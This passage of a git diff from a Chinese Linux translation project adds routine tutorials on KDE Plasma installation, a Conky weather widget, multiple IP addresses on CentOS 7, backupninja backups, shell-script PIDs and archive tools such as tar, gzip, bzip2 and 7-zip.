14.10上安装Plasma之前,你要知道这会下载大概1GB的内容。因此在安装KDE之前要考虑速度和数据存放空间。我们下载所使用的PPA是KDE社区官方提供的。在终端中使用下面的命令: + + sudo apt-add-repository ppa:kubuntu-ppa/next-backports + sudo apt-get update + sudo apt-get dist-upgrade + sudo apt-get install kubuntu-plasma5-desktop plasma-workspace-wallpapers + +在安装中,我们要选择默认的显示管理器。我选择的是默认的LightDM。安装完成后,重启系统。在登录时,点击登录区域旁边的Ubuntu图标。这里选择Plasma。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Select_Plasma_KDE_Ubuntu.jpeg) + +你现在就登录到KDE Plasma了。这里有一个KDE Plasma 5.2在Ubuntu 14.10下的截图: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/KDE_Plasma_Desktop.jpeg) + +### 从Ubuntu中卸载KDE Plasma ### + +如果你想要卸载它,使用下面的命令从Ubuntu 14.10中卸载KDE Plasma。 + + sudo apt-get install ppa-purge + sudo apt-get remove kubuntu-plasma5-desktop + sudo ppa-purge ppa:kubuntu-ppa/next + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-kde-plasma-ubuntu-1410/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:https://www.kde.org/ +[2]:https://dot.kde.org/2015/01/27/plasma-52-beautiful-and-featureful +[3]:http://www.kubuntu.org/ +[4]:http://itsfoss.com/install-mate-desktop-ubuntu-14-04/ +[5]:http://itsfoss.com/install-cinnamon-24-ubuntu-1404/ +[6]:http://itsfoss.com/install-budgie-desktop-ubuntu-1404/ +[7]:http://itsfoss.com/how-to-install-gnome-in-ubuntu-14-04/ diff --git a/published/201503/20150205 How To Use Smartphones Like Weather Conky In Linux.md b/published/201503/20150205 How To Use Smartphones Like Weather Conky In Linux.md new file mode 100644 index 0000000000..8eb8647d4e --- /dev/null +++ b/published/201503/20150205 How To Use Smartphones Like Weather Conky In Linux.md @@ -0,0 +1,106 @@ +如何在 Linux 中使用类似智能手机外观的 Conky 天气插件 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Use_Weather_Conky_Linux.jpeg) + +智能手机都拥有一些平滑地融入手机外观的天气小插件,现在幸亏有了 Flair Weather Conky,你便可以**在你的 Linux 桌面中拥有像智能手机一样的天气外观**。我们将使用一个 GUI 工具[Conky Manager 在 Linux 中轻松地管理 Conky][1]。那就先让我们看看如何在 Ubuntu 14.10,14.04、Linux Mint 17 及其他 Linux 发行版本中安装 Conky Manager 吧。 + +### 安装 Conky Manager ### + +打开一个终端并使用下面的命令: + + sudo add-apt-repository ppa:teejee2008/ppa + sudo apt-get update + sudo apt-get install conky-manager + +你可以阅读这篇关于[如何在 Linux 中使用 Conky Manager][1] 的文章。 + +### 确保 `curl` 已被安装 ### + +请确保 [curl][2] 已被安装。如果没有安装它,可以使用下面的命令来安装: + + sudo apt-get install curl + +### 下载 Flair Weather Conky ### + +从下面的链接下载 Flair Weather Conky 的脚本: + +- [下载 Flair Weather Conky 的脚本][3] + +### 在 Conky Manager 中使用 Flair Weather Conky 脚本 ### + +#### 步骤 1: #### + +同你在 Ubuntu 14.04 中安装主题一样,在你的家目录中应该有一个 `.conky` 目录。假如你使用命令行,我想我不需要告诉你如何找到这个目录。对于新手,请用文件管理器切换到你的家目录下,并按 `Ctrl+H` 来 [在 Ubuntu 中显示隐藏文件][4]。在这里查找 `.conky` 文件夹,假如没有这个文件夹,则创建一个。 + +#### 步骤 2: #### + +在 `.conky` 目录中,解压下载到的 Flair Weather 文件。请注意在默认情况下它会自动解压到一个名为 `.conky` 目录下。所以请进入这个目录,将其中的 Flair Weather 文件夹从中取出,然后将它粘贴到真正的 `.conky` 目录下。 + +#### 步骤 3: #### + +Flair Weather 使用 Yahoo 的天气服务,但它不能自动地识别你的位置。你需要手动地编辑它。到[Yahoo 天气][5] 网页,然后通过键入你的城市/Pin 码来得到你所在城市的位置 ID号。你可以从网页地址栏中取得位置 ID 号。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Yahoo_Weather_Location_Code.jpeg) + +#### 步骤 4: #### + +打开 Conky Manager,它应该能够读取新安装的 Conky 脚本。这里有两款样式可用,黑色主题或亮丽主题。你可以选择你偏爱的那一款。当你选择后,你就可以在桌面上看到 conky 的显示了。 + +在 Flair Weather 中,默认位置被设定为 Melbourne。你必须手动编辑 conky 文件来修改。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Using_Weather_Conky_Ubuntu.jpeg) + +#### 步骤 5: #### + +在上面的截图中,你可以看到有一个编辑选定 conky 脚本的选项,在打开的编辑器中,查找 location 或 WOEID ,更换它为你在 `步骤 3` 中得到的位置 ID 号。然后重启 Conky。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Edit_Conky.jpeg) + +在上面查找的相同位置,假如你将`u=c` 替换为`u=f`,则温度的单位将从摄氏温标改为华氏温标 。不要忘了重启 Conky 来查看已经做出的修改。 + +#### 可能的故障排除 #### + +在 Ubuntu 14.04 和 Ubuntu 14.10 中,假如你发现 Conky 展示的时间有重叠现象,则请编辑 conky 脚本。查找下面的这些行: + +``` +## cairo-compmgr +own_window_type override +own_window_argb_visual no +``` + +然后将内容更换为下面的这些行: + + +``` +## cairo-compmgr +own_window_type dock +own_window_argb_visual no +``` + +保存更改并重启 conky。这就应该解决了这个问题。感谢 Jesse(这个 Conky 脚本的开发者)给我们提供了这个解决方法和为其他相关问题给予的支持。 + +### 尝试一下 ### + +在这篇文章中,我们实际上学到了不少东西。我们见证了如何轻松地使用任何 Conky 脚本,如何编辑脚本以及如何使用 Conky Manager 来达到不同的目的。我希望这些对你有用。 + +需要留心的是,Ubuntu 14.10 用户可能会看到重叠的时间数字。请在开发者 Jesse 绝妙的[Google + 主页][6] 中报告任何相关的问题。 + +我已经向你展示了在我的系统上 Flair Weather conky 外观的截图。现在是该你尝试它并炫耀你的桌面的时间了。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/weather-conky-linux/ + +作者:[Abhishek][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://www.linux.cn/article-3434-1.html +[2]:http://www.computerhope.com/unix/curl.htm +[3]:http://speedracker.deviantart.com/art/Flair-Weather-Conky-Made-for-Conky-Manager-510130311 +[4]:http://itsfoss.com/hide-folders-and-show-hidden-files-in-ubuntu-beginner-trick/ +[5]:https://weather.yahoo.com/ +[6]:https://plus.google.com/communities/104794997718869399105 diff --git a/published/201503/20150205 Linux Basics--Assign Multiple IP Addresses To Single Network Interface Card On CentOS 7.md b/published/201503/20150205 Linux Basics--Assign Multiple IP Addresses To Single Network Interface Card On CentOS 7.md new file mode 100644 index 0000000000..31a10d3923 --- /dev/null +++ b/published/201503/20150205 Linux Basics--Assign Multiple IP Addresses To Single Network Interface Card On CentOS 7.md @@ -0,0 +1,206 @@ +在CentOS 7上给一个网卡分配多个IP地址 +================================================================================ +有时你也许想要给一个网卡多个地址。你该怎么做呢?另外买一个网卡来分配地址?在小型网络中其实不用这么做。我们现在可以在CentOS/RHEL 7中给一个网卡分配多个ip地址。想知道怎么做么?好的,跟随我,这并不难。 + +首先,让我们找到网卡的IP地址。在我的CentOS 7服务器中,我只使用了一个网卡。 + +用root特权运行下面的命令: + + ip addr + +示例输出: + + 1: lo: mtu 65536 qdisc noqueue state UNKNOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever + 2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + link/ether 08:00:27:80:63:19 brd ff:ff:ff:ff:ff:ff + inet 192.168.1.150/24 brd 192.168.1.255 scope global enp0s3 + valid_lft forever preferred_lft forever + +如上所见,我的网卡名是enp0s3,ip地址是192.168.1.150。 + +如你所知,网卡的配置文件存储在 **/etc/sysconfig/network-scripts/** 目录下。每个网卡的详细内容将会以不同的名字存储,比如**ifcfg-enp0s3**。 + +让我们看下**ifcfg-enp0s3**的细节。 + + cat /etc/sysconfig/network-scripts/ifcfg-enp0s3 + +示例输出: + + TYPE="Ethernet" + BOOTPROTO="none" + DEFROUTE="yes" + IPV4_FAILURE_FATAL="no" + IPV6INIT="yes" + IPV6_AUTOCONF="yes" + IPV6_DEFROUTE="yes" + IPV6_FAILURE_FATAL="no" + NAME="enp0s3" + UUID="e9f9caef-cb9e-4a19-aace-767c6ee6f849" + ONBOOT="yes" + HWADDR="08:00:27:80:63:19" + IPADDR0="192.168.1.150" + PREFIX0="24" + GATEWAY0="192.168.1.1" + DNS1="192.168.1.1" + IPV6_PEERDNS="yes" + IPV6_PEERROUTES="yes" + +好的,现在我们将在相同的子网中分配多个地址了。 + +编辑文件 **/etc/sysconfig/network-scripts/ifcfg-enp0s3**: + + vi /etc/sysconfig/network-scripts/ifcfg-enp0s3 + +像下面那样加入额外的IP地址。 + + TYPE="Ethernet" + BOOTPROTO="none" + DEFROUTE="yes" + IPV4_FAILURE_FATAL="no" + IPV6INIT="yes" + IPV6_AUTOCONF="yes" + IPV6_DEFROUTE="yes" + IPV6_FAILURE_FATAL="no" + NAME="enp0s3" + UUID="933cdc9b-b383-4ddd-b219-5a72c69c9cf0" + ONBOOT="yes" + HWADDR="08:00:27:3F:AB:68" + IPADDR0="192.168.1.150" + IPADDR1="192.168.1.151" + IPADDR2="192.168.1.152" + PREFIX0="24" + GATEWAY0="192.168.1.1" + DNS1="192.168.1.1" + IPV6_PEERDNS="yes" + IPV6_PEERROUTES="yes" + +如你所见,我已经加了两个IP地址:**IPADDR1=”192.168.1.151″ & IPADDR2=”192.168.1.152″** + +类似地,你可以加入更多的ip地址。 + +最后,保存并退出文件。重启网络服务来使更改生效。 + + systemctl restart network + +现在,让我们检查是否已经加入了ip地址。 + + ip addr + +示例输出: + + : lo: mtu 65536 qdisc noqueue state UNKNOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever + 2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + link/ether 08:00:27:3f:ab:68 brd ff:ff:ff:ff:ff:ff + inet 192.168.1.150/24 brd 192.168.1.255 scope global enp0s3 + valid_lft forever preferred_lft forever + inet 192.168.1.151/24 brd 192.168.1.255 scope global secondary enp0s3 + valid_lft forever preferred_lft forever + inet 192.168.1.152/24 brd 192.168.1.255 scope global secondary enp0s3 + valid_lft forever preferred_lft forever + inet6 fe80::a00:27ff:fe3f:ab68/64 scope link + valid_lft forever preferred_lft forever + +如你所见,单个网卡已经有3个ip地址了。 + +让我们ping一下新增的IP地址: + + ping -c 4 192.168.1.151 + +示例输出: + + PING 192.168.1.151 (192.168.1.151) 56(84) bytes of data. + 64 bytes from 192.168.1.151: icmp_seq=1 ttl=64 time=0.048 ms + 64 bytes from 192.168.1.151: icmp_seq=2 ttl=64 time=0.075 ms + 64 bytes from 192.168.1.151: icmp_seq=3 ttl=64 time=0.077 ms + 64 bytes from 192.168.1.151: icmp_seq=4 ttl=64 time=0.077 ms + + --- 192.168.1.151 ping statistics --- + 4 packets transmitted, 4 received, 0% packet loss, time 2999ms + rtt min/avg/max/mdev = 0.048/0.069/0.077/0.013 ms + +---------- + + ping -c 4 192.168.1.152 + +示例输出: + + PING 192.168.1.152 (192.168.1.152) 56(84) bytes of data. + 64 bytes from 192.168.1.152: icmp_seq=1 ttl=64 time=0.034 ms + 64 bytes from 192.168.1.152: icmp_seq=2 ttl=64 time=0.075 ms + 64 bytes from 192.168.1.152: icmp_seq=3 ttl=64 time=0.073 ms + 64 bytes from 192.168.1.152: icmp_seq=4 ttl=64 time=0.075 ms + + --- 192.168.1.152 ping statistics --- + 4 packets transmitted, 4 received, 0% packet loss, time 2999ms + rtt min/avg/max/mdev = 0.034/0.064/0.075/0.018 ms + +如果你想要使用**不同的子网**,你要改变**PREFIX0=24**成不同的子网,比如 **PREFIX1=16**。 + +比如,我想要添加一个A类地址(**比如10.0.0.1*)到我的网卡中。 + + TYPE="Ethernet" + BOOTPROTO="none" + DEFROUTE="yes" + IPV4_FAILURE_FATAL="no" + IPV6INIT="yes" + IPV6_AUTOCONF="yes" + IPV6_DEFROUTE="yes" + IPV6_FAILURE_FATAL="no" + NAME="enp0s3" + UUID="933cdc9b-b383-4ddd-b219-5a72c69c9cf0" + ONBOOT="yes" + HWADDR="08:00:27:3F:AB:68" + IPADDR0="192.168.1.150" + IPADDR1="192.168.1.151" + IPADDR2="192.168.1.152" + IPADDR3="10.0.0.1" + PREFIX0="24" + PREFIX1=16 + GATEWAY0="192.168.1.1" + DNS1="192.168.1.1" + IPV6_PEERDNS="yes" + IPV6_PEERROUTES="yes" + +你可以看到我已经添加一个A类地址(10.0.0.1)并且前缀是16。 + +保存并退出文件。重启网络服务,接着,ping新增的地址: + + ping -c 4 10.0.0.1 + +示例输出: + + PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data. + 64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=0.097 ms + 64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=0.073 ms + 64 bytes from 10.0.0.1: icmp_seq=3 ttl=64 time=0.074 ms + 64 bytes from 10.0.0.1: icmp_seq=4 ttl=64 time=0.075 ms + + --- 10.0.0.1 ping statistics --- + 4 packets transmitted, 4 received, 0% packet loss, time 3000ms + rtt min/avg/max/mdev = 0.073/0.079/0.097/0.014 ms + +相似地,你可以添加不同的网关。 + +就是这样。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-assign-multiple-ip-addresses-single-network-interface-card-centos-7/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ diff --git a/published/201503/20150209 How to back up a Debian system using backupninja.md b/published/201503/20150209 How to back up a Debian system using backupninja.md new file mode 100644 index 0000000000..33e95473af --- /dev/null +++ b/published/201503/20150209 How to back up a Debian system using backupninja.md @@ -0,0 +1,111 @@ +如何使用 backupninja 来备份 Debian 系统 +================================================================================ +小心谨慎或灾难体验会让每一个系统管理都认识到频繁的系统备份的重要性。你可以通过编写管用的旧式 shell 脚本,或使用一个(或几个)适合这项工作的备份工具来完成备份任务。因此,当你要实施一个备份解决方案时,你了解的备份工具越多,你做出的决策就会越明智。 + +在这篇文章中,我们将为你介绍 [backupninja][2] ,这是一个轻量且易于配置的系统备份工具。在诸如 **rdiff-backup**, **duplicity**, **mysqlhotcopy** 和 **mysqldump** 等程序的帮助下, Backupninja 可以提供常用的备份功能,如执行远程的、安全的和增量式的文件系统备份,加密备份以及 MySQL/MariaDB 数据库备份。你可以选择性地开启使用 Email 状态报告功能,也可以对一般的硬件和系统的信息进行备份。 backupninja 的一个关键功能是它拥有一个内建的基于控制台的向导程序(被称为 **ninjahelper**),而后者允许你为不同的备份情景轻松地创建配置文件。 + +如果非要说的话,backupninja 的缺点是:为了充分使用其所有的功能,它要求安装一些其他“助手”程序。尽管 backupninja 有针对基于 Red Hat(红帽)的发行版本的 RPM 安装包,但 backupninja 针对 Debian 及其衍生发行版本的依赖进行了优化。所以不建议在基于 Red Hat 的系统上尝试 backupninja 。 + +在这篇教程中,我们将介绍如何在基于 Debian 的发行版本上安装 backupninja 。 + +### 安装 Backupninja ### + +以 root 账户来运行下面的命令: + + # aptitude install backupninja + +在安装的过程中,有几个文件和目录将被创建: + +- **/usr/sbin/backupninja** 是个 bash shell 的主脚本; +- **/etc/cron.d/backupninja**, 默认情况下,设置 cron 任务来每隔一个小时运行上面的主脚本; +- **/etc/logrotate.d/backupninja** 截断由 backupninja 程序产生的日志; +- **/etc/backup.d/** 是备份操作的配置文件驻留的目录; +- **/etc/backupninja.conf** 是包含一般选项的主配置文件。这个文件带有良好的注释且详细解释了每个选项的含义; +- **/usr/share/backupninja** 是那些 backupninja 所使用的脚本所处的目录。这些脚本文件负责执行实际的工作。在这个目录中,你还可以找到 `.helper` 文件,它们可以被用来配置和设定 ninjahelper 的菜单; +- **/usr/share/doc/backupninja/examples** 含有操作配置文件(即通过 ninjahelper 产生的文件)的模板。 + +### 首次运行 Ninjahelper ### + +当我们尝试启动 ninjahelper 时,我们可以看到可能需要一个内部依赖程序。假如系统进行了提示,请输入 “yes” 并敲下回车键来安装 dialog(一个用于从 shell 脚本中显示友好对话框的工具)。 + +![](https://farm8.staticflickr.com/7537/15700597667_6618fbc142_z.jpg) + +当你在键入 yes 后再敲回车键时,backupninja 将会安装 dialog,一旦安装完成,将呈现出下面的截屏: + +![](https://farm8.staticflickr.com/7469/15884374871_29f1c9acf1_z.jpg) + +#### 案例 1: 备份硬件和系统信息 #### + +在启动了 ninjahelper 之后,我们将创建一个新的备份操作: + +![](https://farm9.staticflickr.com/8637/15885715132_eb3156678e_z.jpg) + +如果必要的助手程序没有被安装,下面的截屏将会呈现在我们眼前。假如这些软件包已经在你的系统上安装了,请跳过这一步。 + +![](https://farm8.staticflickr.com/7508/15700315139_4c6117ef32_z.jpg) + +接下来的一步需要你选取相关条目来作为此次备份任务的一部分。前四个条目已经默认被选上了,但你可以通过在条目上按空格键来撤消选择。 + +![](https://farm8.staticflickr.com/7507/15699051870_65abaf52e5_z.jpg) + +一旦你完成了上面的步骤,按 OK 选项来继续。接着你将能够选择是愿意使用默认的配置文件(/etc/backup.d/10.sys)来完成这次备份操作,还是创建一个新的配置文件。若为后者,一个含有与默认配置文件内容相同的文件将会在相同的目录下被创建,但它被命名为 11.sys,后续的备份操作将会创建类似的文件(注:只不过命名的序号不同)。需要说明的是一旦这个新的配置文件被创建,你便可以使用你喜爱的文本编辑器来编辑该文件。 + +![](https://farm9.staticflickr.com/8654/15885715072_1e6126e929_o.png) + +#### 案例 2: 一个远程目录的增量式 Rsync 拉取备份 #### + +正如你最有可能知道的那样, rsync 被广泛地用于通过网络同步文件或文件夹。在接下来的例子中,我们将讨论一个使用硬链接来为一个远程目录做增量式拉取备份的方法,它被用来保存历史数据以及在我们本地的文件服务器中恢复这些历史数据。这个方法将帮助我们节省空间并增强位于服务器端的安全性。 + +**步骤 1**:编写一个带有如下内容的自定义脚本,放在 `/etc/backup.d`,并将它的权限设置为 600 。需要说明的是,除了一般的配置文件,这个目录可能还包含当 backupninja 执行时你想运行的一些脚本文件,它们可以发挥出位于主配置文件中的变量的优势。 + + # REMOTE USER + user=root + # REMOTE HOST + host=dev1 + # REMOTE DIRECTORY + remotedir=/home/gacanepa/ + # LOCAL DIRECTORY + localdir=/home/gacanepa/backup.0 + # LOCAL DIRECTORY WHERE PREVIOUS BACKUP WAS STORED + localdirold=/home/gacanepa/backup.1 + mv $localdir $localdirold + # RSYNC + rsync -av --delete --recursive --link-dest=$localdirold $user@$host:$remotedir $localdir + +在上面的配置中, rsync 的 ‘--link-dest’ 选项的作用是为位于 $localdir-old 目录中那些没有改变的文件(包含所有属性) 硬链接到目标目录($localdir)。 + +**步骤 2**:在 backupninja 第一次运行之前,上层目录(这个例子中指的是 /home/gacanepa) 是空的。第一次我们执行下面的命令: + + # backupninja -n + +backup.0 目录就被创建了,并在接下来的过程中,它的名称将会被更改为 backup.1。 + +当我们第二次运行 backupninja 时, backup.0 将会被重新创建,而 backup.1 保持不动。 + +![](https://farm8.staticflickr.com/7581/15700597497_0e0cd89ab9.jpg) + +**步骤 3**: 确保 backup.1 里面的文件硬链接到 backup.0 里的文件,我们可以通过比较文件的 inode(i 节点)数和目录的大小来达到此目的。 + +![](https://farm9.staticflickr.com/8636/15700315029_e922ce771b.jpg) + +### 总结 ### + +Backupninja 不仅是一个经典的备份工具,它也是一个易于配置的实用程序。你可以通过编写你自己的控制脚本,用放在 `/etc.backup.d` 中的不同的配置文件来运行 backupninja 。甚至你还可以为 ninjahelper 编写助手程序,并将其包括在 ninjahelper 的主界面上。 + +例如,假如你在 `/usr/share/backupninja`目录中创建了一个名为 xmodulo 的控制脚本,它将自动运行那些位于 `/etc/backup.d` 目录中以 .xmodulo 为后缀的每个文件。如果你决定添加你的 xmodulo 控制脚本到 ninjahelper 中, 你可以编写相应的助手程序,即 xmodulo.helper 。另外,假如你想 让 backupninja 运行其它的脚本,只需把它添加到 `/etc/backup.d` 目录中就可以了。 + +欢迎使用下面的评论框来留下你的评论、问题或建议。听到你的回应将会使我们很高兴。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/backup-debian-system-backupninja.html + +作者:[Gabriel Cánepa][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://xmodulo.com/recommend/sysadminbook +[2]:https://labs.riseup.net/code/projects/backupninja diff --git a/published/201503/20150209 Linux FAQs with Answers--How to get the process ID (PID) of a shell script.md b/published/201503/20150209 Linux FAQs with Answers--How to get the process ID (PID) of a shell script.md new file mode 100644 index 0000000000..0e24fa1fb1 --- /dev/null +++ b/published/201503/20150209 Linux FAQs with Answers--How to get the process ID (PID) of a shell script.md @@ -0,0 +1,48 @@ +Linux有问必答:如何在脚本中获取进程ID(PID) +================================================================================ +> **提问**: 我想要知道运行中脚本子shell的进程id。我该如何在shell脚本中得到PID。 + +当我在执行shell脚本时,它会启动一个叫子shell的进程。作为主shell的子进程,子shell将shell脚本中的命令作为批处理运行(因此称为“批处理进程”)。 + +在某些情况下,你也许想要知道运行中的子shell的PID。这个PID信息可以在不同的情况下使用。比如,你可以使用shell脚本的PID在/tmp下创建一个唯一的临时文件。有时侯脚本需要检测所有运行的进程,它可以从进程列表中排除自身的子shell。 + +在bash中,**子shell进程的PID**存储在一个特殊的变量‘$$’中。这个变量只读,你不可以在脚本中修改它。比如: + + #!/bin/bash + + echo "PID of this script: $$" + +上面的脚本会得到下面的输出: + + PID of this script: 6583 + +除了$$, bash shell还会导出其他的只读变量。比如,PPID存储子shell父进程的ID(也就是主shell)。UID存储了执行这个脚本的当前用户ID。比如: + + #!/bin/bash + + echo "PID of this script: $$" + echo "PPID of this script: $PPID" + echo "UID of this script: $UID" + +输出是: + + PID of this script: 6686 + PPID of this script: 4656 + UID of this script: 1000 + +上面输出中,PID每次执行都会变化。这个因为每次运行都会创建一个新的shell。另一方面,PPID每次都会一样只要你在同一个shell中运行。 + +![](https://farm8.staticflickr.com/7437/16274890369_e78ce16d42_b.jpg) + +对于所有bash内置变量列表,参考man页。 + + $ man bash + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/process-id-pid-shell-script.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201503/20150211 Best Known Linux Archive or Compress Tools.md b/published/201503/20150211 Best Known Linux Archive or Compress Tools.md new file mode 100644 index 0000000000..c570ee62a4 --- /dev/null +++ b/published/201503/20150211 Best Known Linux Archive or Compress Tools.md @@ -0,0 +1,227 @@ +Linux 下最为人熟知的归档/压缩工具 +================================================================================ +很多时候,通过互联网发送或接收大文件和图片是一件令人头疼的事。压缩及解压缩工具正好可以应对这个问题。下面让我们快速浏览一些可以使得我们的工作更加轻松的开源工具。 + +### Tar ### + +Tar 由 'Tape archiver(磁带归档器)' 衍生而来,最初被用来在磁带上归档和存储文件。Tar 是一个 GNU 软件,它可以压缩一组文件(归档),或提取它们以及对已有的归档文件进行相关操作。在存储、备份以及传输文件方面,它是很有用的。在创建归档文件时,Tar 可以保持原有文件和目录结构不变。通过 Tar 归档的文件的后缀名为 ‘.tar’。 + +**基本用法如下:** + +#### a) 创建归档 (c / --create) #### + + tar --create --verbose --file=archive.tar file1 file2 file3 + +或 + + tar cvf archive.tar file1 file2 file3 + +![tar cvf](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-cvf.png) + +*创建一个归档* + +#### b) 列出归档文件内容 ( t / --list) #### + + tar --list archive.tar + +![tar tvf](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-tvf.png) + +*列出归档中包含的文件* + +#### c) 提取归档 (x / --extract) #### + + tar xvf archive.tar + + tar xvf archive.tar --wildcards '*.c' - 从归档中提取后缀名为 *.c 的文件。 + +![tar xvf](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-xvf.png) + +*提取文件* + +![tar xvf --wildcards](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-wildcard.png) + +*只提取需要的文件* + +#### d) 对归档文件进行更新 ( u / --update) #### + + tar uvf archive.tar newfile.c - 假如归档的newfile.c 要比先前已经归档的新,则添加更新的 newfile.c 到归档里面. + +![tar uvf](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-uvf.png) + +*更新一个归档* + +#### e) 从归档中删除文件 (--delete) #### + + tar --delete -f archive.tar file1.c - 从压缩包'archive.tar' 中删除文件'file1.c' + +![tar --delete](http://blog.linoxide.com/wp-content/uploads/2015/01/tar-delete.png) + +*删除文件* + +更加具体的使用方法请参考[tar 主页][1]。 + +### Gzip / Gunzip ### + +Gzip 即 GNU zip,它是一个被广泛用于 Linux 操作系统中的压缩应用,被其压缩的文件的后缀名为'*.gz' 。 + +**基本用法如下:** + +#### a) 压缩文件 #### + + gzip file(s) + +每个文件将被**单独压缩**。 + +![gzip](http://blog.linoxide.com/wp-content/uploads/2015/01/gzip.png) + +*压缩文件* + +通常在压缩完成后,它会将原来的文件删除。我们可以使用 `-c` 选项来保留原来的文件。 + + gzip -c file > file.gz + +![gzip-c](http://blog.linoxide.com/wp-content/uploads/2015/01/gzip-c.png) + +*压缩后保留原有文件* + +我们也可以将一组文件压缩到一个单独的文件中 + + cat file1 file2 file3 | gzip > archieve.gz + +![gz group](http://blog.linoxide.com/wp-content/uploads/2015/01/gz-group.png) + +*压缩一组文件* + +#### b) 检查压缩比 #### + +被压缩文件的压缩比可以使用 ‘-l’ 选项来进行检验。 + + gzip -l archieve.gz + +![gzip -l](http://blog.linoxide.com/wp-content/uploads/2015/01/gzip-l.png) + +*检查压缩率* + +#### c) 解压文件 #### + +Gunzip 用来解压文件,在这里,原有的(压缩)文件在被解压后同样会被删除。使用 `-c`选项来保留原始文件。 + + gunzip -c archieve.gz + +![gunzip -c](http://blog.linoxide.com/wp-content/uploads/2015/01/gunzip-c.png) + +*解压文件* + +gzip 加上'-d'选项 和 gunzip 对压缩文件有同样的效果。 + +更多细节可以从 [gzip 主页][2] 得到。 + +### Bzip2 / Bunzip2 ### + +同 gzip 一样,[Bzip2][3] 也是一个压缩工具,与其他传统的工具相比,它可以将文件压缩到更小,但其缺点为:运行速度比 gzip 慢。 + +**基本用法如下:** + +#### a) 压缩文件 #### + +一般情况下,针对压缩而言,Bzip2 不用什么选项,将被压缩的文件被传递为它的参数。每个文件被单独压缩,且压缩文件以 'bz2' 为后缀名。 + + bzip2 file1 file2 file3 + +![bzip2](http://blog.linoxide.com/wp-content/uploads/2015/01/bzip2.png) + +*文件压缩* + +使用 '-k' 选项可以使得在压缩或解压缩之后保留原有的文件。 + +![bzip2 -k](http://blog.linoxide.com/wp-content/uploads/2015/01/bzip2-k.png) + +*在压缩后保留原有文件* + + +#### b) 解压 #### + +'-d' 选项被用来解压缩。 + +![bzip2 -d](http://blog.linoxide.com/wp-content/uploads/2015/01/bzip2-d.png) + +*使用 -d 选项解压缩文件* + +也可以使用 bunzip2 来解压缩。 + + bunzip2 filename + +![bunzip2](http://blog.linoxide.com/wp-content/uploads/2015/01/bunzip2.png) + +*解压文件* + +bunzip2 可以解压后缀名为 bz2, bz, tbz2 和 tbz 的文件。带有 tbz2 和 tbz 的文件在压缩后,后缀名将变为'.tar' 。 + + bzip2 -dc - 执行解压文件到标准输出的功能。 + +### 7-zip ### + +[7-zip][4] 是另一个开源压缩软件。它使用 7z 这种新的压缩格式,并支持高压缩比。因此,它被认为是比先前提及的压缩工具更好的软件。在 Linux 下,可以通过 p7zip 软件包得到,该软件包里包含 3 个二进制文件: 7z, 7za 和 7zr,读者可以参考 [p7zip wiki][5] 来了解这三个二进制文件之间的不同。在本篇中,我们将使用 7zr 来解释 7-zip 的用法。归档文件以 '.7z' 为后缀名。 + +**基本用法如下:** + +#### a) 创建归档 #### + + 7zr a archive-name.7z file-name(s) / directory-name(s) + +![7zr a](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-a.png) + +*创建一个归档文件* + +#### b) 列出归档包含文件 #### + + 7zr l archive-name.7z + +![7zr l](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-l.png) + +*列出归档中包含的文件* + +#### c) 提取归档文件 #### + + 7zr e archive-name.7z + +![7zr e](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-e.png) + +*提取归档* + +#### d) 更新归档文件 #### + + 7zr u archive-name.7z new-file + +![7zr u](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-u.png) + +*更新一个归档文件* + +#### e) 从归档文件中删除文件 #### + 